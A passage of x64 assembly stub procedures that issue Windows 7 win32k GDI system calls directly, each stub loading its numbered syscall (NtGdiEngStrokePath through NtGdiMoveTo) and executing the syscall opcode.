arg_10 ); _6_1_7600_sp0_windows_7_NtGdiEngStrokeAndFillPath PROC STDCALL mov r10 , rcx mov eax , 4593 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngStrokeAndFillPath ENDP ; ULONG64 __stdcall NtGdiEngStrokePath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiEngStrokePath PROC STDCALL mov r10 , rcx mov eax , 4594 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngStrokePath ENDP ; ULONG64 __stdcall NtGdiEngTextOut( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_1_7600_sp0_windows_7_NtGdiEngTextOut PROC STDCALL mov r10 , rcx mov eax , 4595 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngTextOut ENDP ; ULONG64 __stdcall NtGdiEngTransparentBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiEngTransparentBlt PROC STDCALL mov r10 , rcx mov eax , 4596 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngTransparentBlt ENDP ; ULONG64 __stdcall NtGdiEngUnlockSurface( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiEngUnlockSurface PROC STDCALL mov r10 , rcx mov eax , 4597 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEngUnlockSurface ENDP ; ULONG64 __stdcall NtGdiEnumFonts( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiEnumFonts PROC STDCALL mov r10 , rcx mov eax , 4598 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEnumFonts ENDP ; ULONG64 __stdcall NtGdiEnumObjects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiEnumObjects PROC STDCALL mov r10 , rcx mov eax , 4599 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEnumObjects ENDP ; ULONG64 __stdcall NtGdiEudcLoadUnloadLink( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiEudcLoadUnloadLink PROC STDCALL mov r10 , rcx mov eax , 4600 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiEudcLoadUnloadLink ENDP ; ULONG64 __stdcall NtGdiExtFloodFill( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiExtFloodFill PROC STDCALL mov r10 , rcx mov eax , 4601 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExtFloodFill ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_cGetAllGlyphHandles( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_cGetAllGlyphHandles PROC STDCALL mov r10 , rcx mov eax , 4602 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_cGetAllGlyphHandles ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_cGetGlyphs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_cGetGlyphs PROC STDCALL mov r10 , rcx mov eax , 4603 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_cGetGlyphs ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_pQueryGlyphAttrs( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pQueryGlyphAttrs PROC STDCALL mov r10 , rcx mov eax , 4604 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pQueryGlyphAttrs ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_pfdg( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pfdg PROC STDCALL mov r10 , rcx mov eax , 4605 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pfdg ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_pifi( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pifi PROC STDCALL mov r10 , rcx mov eax , 4606 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pifi ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_pvTrueTypeFontFile( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pvTrueTypeFontFile PROC STDCALL mov r10 , rcx mov eax , 4607 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pvTrueTypeFontFile ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_pxoGetXform( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pxoGetXform PROC STDCALL mov r10 , rcx mov eax , 4608 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_pxoGetXform ENDP ; ULONG64 __stdcall NtGdiFONTOBJ_vGetInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_vGetInfo PROC STDCALL mov r10 , rcx mov eax , 4609 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFONTOBJ_vGetInfo ENDP ; ULONG64 __stdcall NtGdiFlattenPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiFlattenPath PROC STDCALL mov r10 , rcx mov eax , 4610 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFlattenPath ENDP ; ULONG64 __stdcall NtGdiFontIsLinked( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiFontIsLinked PROC STDCALL mov r10 , rcx mov eax , 4611 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFontIsLinked ENDP ; ULONG64 __stdcall NtGdiForceUFIMapping( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiForceUFIMapping PROC STDCALL mov r10 , rcx mov eax , 4612 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiForceUFIMapping ENDP ; ULONG64 __stdcall NtGdiFrameRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiFrameRgn PROC STDCALL mov r10 , rcx mov eax , 4613 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFrameRgn ENDP ; ULONG64 __stdcall NtGdiFullscreenControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiFullscreenControl PROC STDCALL mov r10 , rcx mov eax , 4614 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFullscreenControl ENDP ; ULONG64 __stdcall NtGdiGetBoundsRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetBoundsRect PROC STDCALL mov r10 , rcx mov eax , 4615 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetBoundsRect ENDP ; ULONG64 __stdcall NtGdiGetCOPPCompatibleOPMInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetCOPPCompatibleOPMInformation PROC STDCALL mov r10 , rcx mov eax , 4616 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCOPPCompatibleOPMInformation ENDP ; ULONG64 __stdcall NtGdiGetCertificate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiGetCertificate PROC STDCALL mov r10 , rcx mov eax , 4617 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCertificate ENDP ; ULONG64 __stdcall NtGdiGetCertificateSize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetCertificateSize PROC STDCALL mov r10 , rcx mov eax , 4618 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCertificateSize ENDP ; ULONG64 __stdcall NtGdiGetCharABCWidthsW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiGetCharABCWidthsW PROC STDCALL mov r10 , rcx mov eax , 4619 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCharABCWidthsW ENDP ; ULONG64 __stdcall NtGdiGetCharacterPlacementW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiGetCharacterPlacementW PROC STDCALL mov r10 , rcx mov eax , 4620 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCharacterPlacementW ENDP ; ULONG64 __stdcall NtGdiGetColorAdjustment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetColorAdjustment PROC STDCALL mov r10 , rcx mov eax , 4621 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetColorAdjustment ENDP ; ULONG64 __stdcall NtGdiGetColorSpaceforBitmap( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiGetColorSpaceforBitmap PROC STDCALL mov r10 , rcx mov eax , 4622 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetColorSpaceforBitmap ENDP ; ULONG64 __stdcall NtGdiGetDeviceCaps( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetDeviceCaps PROC STDCALL mov r10 , rcx mov eax , 4623 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDeviceCaps ENDP ; ULONG64 __stdcall NtGdiGetDeviceCapsAll( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetDeviceCapsAll PROC STDCALL mov r10 , rcx mov eax , 4624 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDeviceCapsAll ENDP ; ULONG64 __stdcall NtGdiGetDeviceGammaRamp( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetDeviceGammaRamp PROC STDCALL mov r10 , rcx mov eax , 4625 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDeviceGammaRamp ENDP ; ULONG64 __stdcall NtGdiGetDeviceWidth( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiGetDeviceWidth PROC STDCALL mov r10 , rcx mov eax , 4626 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDeviceWidth ENDP ; ULONG64 __stdcall NtGdiGetDhpdev( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiGetDhpdev PROC STDCALL mov r10 , rcx mov eax , 4627 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDhpdev ENDP ; ULONG64 __stdcall NtGdiGetETM( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetETM PROC STDCALL mov r10 , rcx mov eax , 4628 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetETM ENDP ; ULONG64 __stdcall NtGdiGetEmbUFI( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiGetEmbUFI PROC STDCALL mov r10 , rcx mov eax , 4629 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetEmbUFI ENDP ; ULONG64 __stdcall NtGdiGetEmbedFonts( ); _6_1_7600_sp0_windows_7_NtGdiGetEmbedFonts PROC STDCALL mov r10 , rcx mov eax , 4630 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetEmbedFonts ENDP ; ULONG64 __stdcall NtGdiGetEudcTimeStampEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetEudcTimeStampEx PROC STDCALL mov r10 , rcx mov eax , 4631 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetEudcTimeStampEx ENDP ; ULONG64 __stdcall NtGdiGetFontFileData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiGetFontFileData PROC STDCALL mov r10 , rcx mov eax , 4632 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetFontFileData ENDP ; ULONG64 __stdcall NtGdiGetFontFileInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiGetFontFileInfo PROC STDCALL mov r10 , rcx mov eax , 4633 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetFontFileInfo ENDP ; ULONG64 __stdcall NtGdiGetFontResourceInfoInternalW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiGetFontResourceInfoInternalW PROC STDCALL mov r10 , rcx mov eax , 4634 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetFontResourceInfoInternalW ENDP ; ULONG64 __stdcall NtGdiGetFontUnicodeRanges( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetFontUnicodeRanges PROC STDCALL mov r10 , rcx mov eax , 4635 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetFontUnicodeRanges ENDP ; ULONG64 __stdcall NtGdiGetGlyphIndicesW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiGetGlyphIndicesW PROC STDCALL mov r10 , rcx mov eax , 4636 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetGlyphIndicesW ENDP ; ULONG64 __stdcall NtGdiGetGlyphIndicesWInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiGetGlyphIndicesWInternal PROC STDCALL mov r10 , rcx mov eax , 4637 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetGlyphIndicesWInternal ENDP ; ULONG64 __stdcall NtGdiGetGlyphOutline( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiGetGlyphOutline PROC STDCALL mov r10 , rcx mov eax , 4638 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetGlyphOutline ENDP ; ULONG64 __stdcall NtGdiGetKerningPairs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetKerningPairs PROC STDCALL mov r10 , rcx mov eax , 4639 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetKerningPairs ENDP ; ULONG64 __stdcall NtGdiGetLinkedUFIs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetLinkedUFIs PROC STDCALL mov r10 , rcx mov eax , 4640 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetLinkedUFIs ENDP ; ULONG64 __stdcall NtGdiGetMiterLimit( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetMiterLimit PROC STDCALL mov r10 , rcx mov eax , 4641 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetMiterLimit ENDP ; ULONG64 __stdcall NtGdiGetMonitorID( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetMonitorID PROC STDCALL mov r10 , rcx mov eax , 4642 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetMonitorID ENDP ; ULONG64 __stdcall NtGdiGetNumberOfPhysicalMonitors( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetNumberOfPhysicalMonitors PROC STDCALL mov r10 , rcx mov eax , 4643 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetNumberOfPhysicalMonitors ENDP ; ULONG64 __stdcall NtGdiGetOPMInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetOPMInformation PROC STDCALL mov r10 , rcx mov eax , 4644 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetOPMInformation ENDP ; ULONG64 __stdcall NtGdiGetOPMRandomNumber( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetOPMRandomNumber PROC STDCALL mov r10 , rcx mov eax , 4645 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetOPMRandomNumber ENDP ; ULONG64 __stdcall NtGdiGetObjectBitmapHandle( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetObjectBitmapHandle PROC STDCALL mov r10 , rcx mov eax , 4646 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetObjectBitmapHandle ENDP ; ULONG64 __stdcall NtGdiGetPath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiGetPath PROC STDCALL mov r10 , rcx mov eax , 4647 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetPath ENDP ; ULONG64 __stdcall NtGdiGetPerBandInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetPerBandInfo PROC STDCALL mov r10 , rcx mov eax , 4648 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetPerBandInfo ENDP ; ULONG64 __stdcall NtGdiGetPhysicalMonitorDescription( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetPhysicalMonitorDescription PROC STDCALL mov r10 , rcx mov eax , 4649 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetPhysicalMonitorDescription ENDP ; ULONG64 __stdcall NtGdiGetPhysicalMonitors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiGetPhysicalMonitors PROC STDCALL mov r10 , rcx mov eax , 4650 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetPhysicalMonitors ENDP ; ULONG64 __stdcall NtGdiGetRealizationInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetRealizationInfo PROC STDCALL mov r10 , rcx mov eax , 4651 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetRealizationInfo ENDP ; ULONG64 __stdcall NtGdiGetServerMetaFileBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiGetServerMetaFileBits PROC STDCALL mov r10 , rcx mov eax , 4652 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetServerMetaFileBits ENDP ; ULONG64 __stdcall DxgStubAlphaBlt( ); _6_1_7600_sp0_windows_7_DxgStubAlphaBlt PROC STDCALL mov r10 , rcx mov eax , 4653 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_DxgStubAlphaBlt ENDP ; ULONG64 __stdcall NtGdiGetStats( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiGetStats PROC STDCALL mov r10 , rcx mov eax , 4654 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetStats ENDP ; ULONG64 __stdcall NtGdiGetStringBitmapW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiGetStringBitmapW PROC STDCALL mov r10 , rcx mov eax , 4655 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetStringBitmapW ENDP ; ULONG64 __stdcall NtGdiGetSuggestedOPMProtectedOutputArraySize( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetSuggestedOPMProtectedOutputArraySize PROC STDCALL mov r10 , rcx mov eax , 4656 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetSuggestedOPMProtectedOutputArraySize ENDP ; ULONG64 __stdcall NtGdiGetTextExtentExW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiGetTextExtentExW PROC STDCALL mov r10 , rcx mov eax , 4657 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetTextExtentExW ENDP ; ULONG64 __stdcall NtGdiGetUFI( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiGetUFI PROC STDCALL mov r10 , rcx mov eax , 4658 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetUFI ENDP ; ULONG64 __stdcall NtGdiGetUFIPathname( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_1_7600_sp0_windows_7_NtGdiGetUFIPathname PROC STDCALL mov r10 , rcx mov eax , 4659 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetUFIPathname ENDP ; ULONG64 __stdcall NtGdiGradientFill( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiGradientFill PROC STDCALL mov r10 , rcx mov eax , 4660 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGradientFill ENDP ; ULONG64 __stdcall NtGdiHLSurfGetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiHLSurfGetInformation PROC STDCALL mov r10 , rcx mov eax , 4661 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiHLSurfGetInformation ENDP ; ULONG64 __stdcall NtGdiHLSurfSetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiHLSurfSetInformation PROC STDCALL mov r10 , rcx mov eax , 4662 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiHLSurfSetInformation ENDP ; ULONG64 __stdcall NtGdiHT_Get8BPPFormatPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiHT_Get8BPPFormatPalette PROC STDCALL mov r10 , rcx mov eax , 4663 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiHT_Get8BPPFormatPalette ENDP ; ULONG64 __stdcall NtGdiHT_Get8BPPMaskPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiHT_Get8BPPMaskPalette PROC STDCALL mov r10 , rcx mov eax , 4664 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiHT_Get8BPPMaskPalette ENDP ; ULONG64 __stdcall NtGdiIcmBrushInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiIcmBrushInfo PROC STDCALL mov r10 , rcx mov eax , 4665 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiIcmBrushInfo ENDP ; ULONG64 __stdcall EngRestoreFloatingPointState( ); _6_1_7600_sp0_windows_7_EngRestoreFloatingPointState PROC STDCALL mov r10 , rcx mov eax , 4666 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_EngRestoreFloatingPointState ENDP ; ULONG64 __stdcall NtGdiInitSpool( ); _6_1_7600_sp0_windows_7_NtGdiInitSpool PROC STDCALL mov r10 , rcx mov eax , 4667 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiInitSpool ENDP ; ULONG64 __stdcall NtGdiMakeFontDir( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiMakeFontDir PROC STDCALL mov r10 , rcx mov eax , 4668 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMakeFontDir ENDP ; ULONG64 __stdcall NtGdiMakeInfoDC( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiMakeInfoDC PROC STDCALL mov r10 , rcx mov eax , 4669 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMakeInfoDC ENDP ; ULONG64 __stdcall NtGdiMakeObjectUnXferable( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiMakeObjectUnXferable PROC STDCALL mov r10 , rcx mov eax , 4670 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMakeObjectUnXferable ENDP ; ULONG64 __stdcall NtGdiMakeObjectXferable( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiMakeObjectXferable PROC STDCALL mov r10 , rcx mov eax , 4671 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMakeObjectXferable ENDP ; ULONG64 __stdcall NtGdiMirrorWindowOrg( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiMirrorWindowOrg PROC STDCALL mov r10 , rcx mov eax , 4672 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMirrorWindowOrg ENDP ; ULONG64 __stdcall NtGdiMonoBitmap( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiMonoBitmap PROC STDCALL mov r10 , rcx mov eax , 4673 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMonoBitmap ENDP ; ULONG64 __stdcall NtGdiMoveTo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiMoveTo PROC STDCALL mov r10 , rcx mov eax , 4674 ;syscall 